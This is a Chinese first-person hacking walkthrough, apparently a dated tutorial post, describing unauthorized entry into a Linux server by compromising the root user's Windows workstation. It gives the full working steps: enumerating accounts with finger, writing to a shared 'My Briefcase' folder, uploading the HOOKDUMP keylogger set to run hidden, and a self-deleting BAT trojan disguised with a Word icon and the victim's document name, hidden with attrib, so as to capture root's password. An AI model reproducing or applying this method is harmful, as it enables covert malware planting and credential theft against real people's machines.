黑客入侵Linux操作系统的完整过程与步骤详解

在一次偶然的渗透测试中，发现了一个目标网站，便顺手尝试了常规入侵手段。Finger服务处于开启状态，于是先编写一个Shell脚本，从aaa尝试到zzz——顺便提一句，这算是我总结的一个小规律：账号长度与口令强度往往成正比，两三位字符的账号口令通常较为简单，反之亦然，暂且称之为“若氏定理”。结果所有账号均不存在，便没有再继续。真正引起我注意的是其开放的端口：WWW服务正在运行，我不信它不会出错。一口气用了五种CGI与WWW漏洞扫描器，扫描了三四百种常见漏洞，几乎找不到任何突破口。虽然有几个错误提示，但不知如何利用，只好作罢。绕着主机转了几圈，就像狐狸遇到刺猬，无从下口。

那就先查看一下root的信息：
finger root@xxx.xxx.xxx
Login name: root In real life: system PRIVILEGED account
Directory: / Shell: /bin/sh
Last login Fri Jul 28 09:21 on ttyp0 from 202.xx.xx.xx
No Plan.

root经常登录，那个202.xx.xx.xx就是其使用的工作站。从那里能否找到一些线索？
net view \\202.xx.xx.xx
Shared resources at \\202.xx.xx.xx
Sharename Type Comment
x
x
我的公文包
The command was completed successfully.

很多人在上网的机器上开启了Windows的“文件和打印机共享”，却往往掉以轻心，这位root也不例外。如果C盘共享且可写那就太好了，但显然这是不现实的——当前共享的目录没有一个根目录，连D盘都没有。别急，慢慢来。那些被x掉的文件夹都没有写入权限，里面全是英文原著，看来这位root还挺有文化。“我的公文包”引起了我的注意——这是一个用于多台机器同步资料的工具。显然，root需要经常更新主机上的主页，有时在自己机器上编写，有时在主机上编写……关键在于，“我的公文包”的共享通常都是可写的。

那就再进去看看。
>net use i: \\202.xx.xx.xx
>i:
>echo asdf>temp.txt
不错，确实具备写入权限。
>del temp.txt
不留痕迹——这是黑客的习惯。
>dir/od/p
看看都有哪些文件……倒数第二排那个是什么？“X月工作计划.doc”！就是它了。既然是工作计划，就不可能写完就丢弃，它一定会再次打开——至少下个月写计划时需要复制一份。

该动手了。目标是让root下次打开这个文件时不小心触发陷阱，运行我隐藏的木马。这次使用的是键盘记录软件HOOKDUMP，它确实非常出色——不仅记录所有击键，还能记录打开了什么程序、点击了哪些按钮、使用了哪些菜单……总之，记录下来的信息就像你站在他身后看他操作计算机一样详细。可能有人会问：那么多木马为什么偏偏选这个？要知道，无论是国内的冰河、netspy，还是国外的netbus、BO，都已被各类杀毒软件列为重点侦查对象。一个root的机器上怎么可能不安装杀毒软件？HOOKDUMP小巧且不起眼，不过如果大家都用，它以后就不好使了。

>copy hookdump.* i:
补充一点：上传前需要先编辑好hookdump.ini文件，设置为隐藏方式运行，否则root一运行屏幕上突然蹦出一个大窗口可就麻烦了。

然后在自己机器上编写一个同名的BAT文件：X月工作计划.BAT
>edit c:\X月工作计划.BAT
@echo off
hookdump
attrib -h X月工作计划.doc
C:\Program Files\Microsoft\Office\Winword X月工作计划.doc
attrib -h temp.bat
del temp.pif
del temp.bat

看明白了吧？root运行这个BAT文件，实际上就是先执行木马，再调用WINWORD打开他原本想打开的文档，然后自动删除自身。如果他的机器上WINWORD路径不同，调用就会失败，不过没关系，BAT会立即删除，他会以为是自己的误操作。

这时C盘根目录便有了这个BAT文件，它是一个方形图标，与那个WORD文件截然不同，root怎么会去运行它呢？没关系，在这个文件上右键点击，选择属性，在“程序”栏中点击“更改图标”不就行了？WORD的图标就在自己机器C:\Program Files\Microsoft\Office\中。还需要将“运行”改为“最小化”，勾选“退出时关闭”，这样运行时毫无痕迹。事实上这个BAT文件变成了两个，还有一个PIF文件就是它的图标。

把这两个文件上传上去：
>copy X月工作计划.bat i:
>copy X月工作计划.pif i:
然后将他自己的文件和我的文件都隐藏起来：
>attrib h X月工作计划.doc
>attrib h X月工作计划.bat

这样一来，root的“公文包”里只剩下一个与原来一模一样的WORD图标，他做梦也没想到这已经变成了一个BAT文件。然后可以喘口气了，静静等待……

几天后，入侵这个工作站，取回键盘记录，找到root的口令，成功进入主机。